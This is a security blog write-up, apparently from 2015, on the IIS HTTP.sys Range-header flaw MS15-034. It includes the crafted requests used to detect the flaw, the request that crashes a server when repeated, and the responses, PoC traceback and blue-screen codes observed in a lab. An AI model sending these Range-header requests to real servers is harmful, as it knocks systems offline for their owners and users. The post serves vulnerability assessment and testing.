Security Unplugged !!!: HTTP.sys Denial of Service (MS15-034/CVE-2015-1635)

The vulnerability is due to crafted HTTP request by passing large value in Range header, IIS fails to validate the value properly leading to Denial of Service (Unresponsive or Blue Screen of Death) and possible Code Execution.

To trigger the vulnerability request a resource which must be present on the IIS web server, say default files (welcome.png, iisstart.htm etc.)

Original PoC was posted on Pastebin
http://pastebin.com/raw.php?i=ypURDPc4

You can verify if Kernel-mode Caching is enabled (which is enabled by default) or not.
If IIS Manager is installed follow below steps.
IIS Manager -> Default Web Site -> Output Caching ->double click -> Edit Feature Settings (on top right)

To add Cache Rule, click on Add link on top right (no required though)

We can verify http parameters using command line(CLI).

I successfully tested and observed BSoD on Windows 7 SP1 IIS 7.5, default installation.
Following range header didn't lead to crash in my case.
Range: bytes=0-18446744073709551615
but
Range: bytes=18-18446744073709551615
will definitely lead to DoS, single HTTP request didn't lead to DoS in my tests. We have to atleast make 2 or 3 HTTP requests.

Auditing/Assessing IIS using script available on pastebin
Request
GET / HTTP/1.1
Host: 192.168.56.110
Range: bytes=0-18446744073709551615

Response
HTTP/1.1 416 Requested Range Not Satisfiable
Content-Type: text/html
Last-Modified: Tue, 02 Dec 2014 05:52:00 GMT
Accept-Ranges: bytes
ETag: "a0495b17f4dd01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
X-UA-Compatible: IE=EmulateIE7
Date: Fri, 17 Apr 2015 06:51:08 GMT
Content-Length: 362
Content-Range: bytes */689
[!!] Looks VULN

Error message "HTTP Error 416. The requested range is not satisfiable" indicates the IIS Web Server is Vulnerable.

Even if we request with valid resource(welcome.png) and range 0-18446744073709551615 we get response shown above with 416 status code but doesn't see BSoD or unresponsiveness.

GET /welcome.png HTTP/1.1

Blue Screen of Death
We can see a connection reset, junk response or no response from IIS server(will lead to multiple duplicate requests) indicating unresponsiveness or BSoD. Lets look at Wireshark traces showing these scenarios.
Connection Reset from IIS Server

GET /welcome.png HTTP/1.1
Host: 192.168.56.110
Range: bytes=18-18446744073709551615

Traceback (most recent call last):
File "./ms15_034.py", line 27, in
goodResp = client_socket.recv(1024)
socket.error: [Errno 104] Connection reset by peer

Junk Response (partial content)

This type of response will definitely lead to BSoD.
HTTP/1.1 206 Partial Content
Content-Type: image/png
Last-Modified: Tue, 02 Dec 2014 05:52:00 GMT
Accept-Ranges: bytes
ETag: "30df5f17f4dd01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
X-UA-Compatible: IE=EmulateIE7
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No response from IIS Server (duplicate requests)

This scenario mostly leads to Unresponsiveness. PoC script might be stuck at request phase only
GET /welcome.png HTTP/1.1
Host: 192.168.56.110
Range: bytes=18-18446744073709551615

Successful attack will lead to BSoD, following are the error messages which I observed
IRQL_NOT_LESS_OR_EQUAL
PAGE_FAULT_IN_NONPAGED_AREA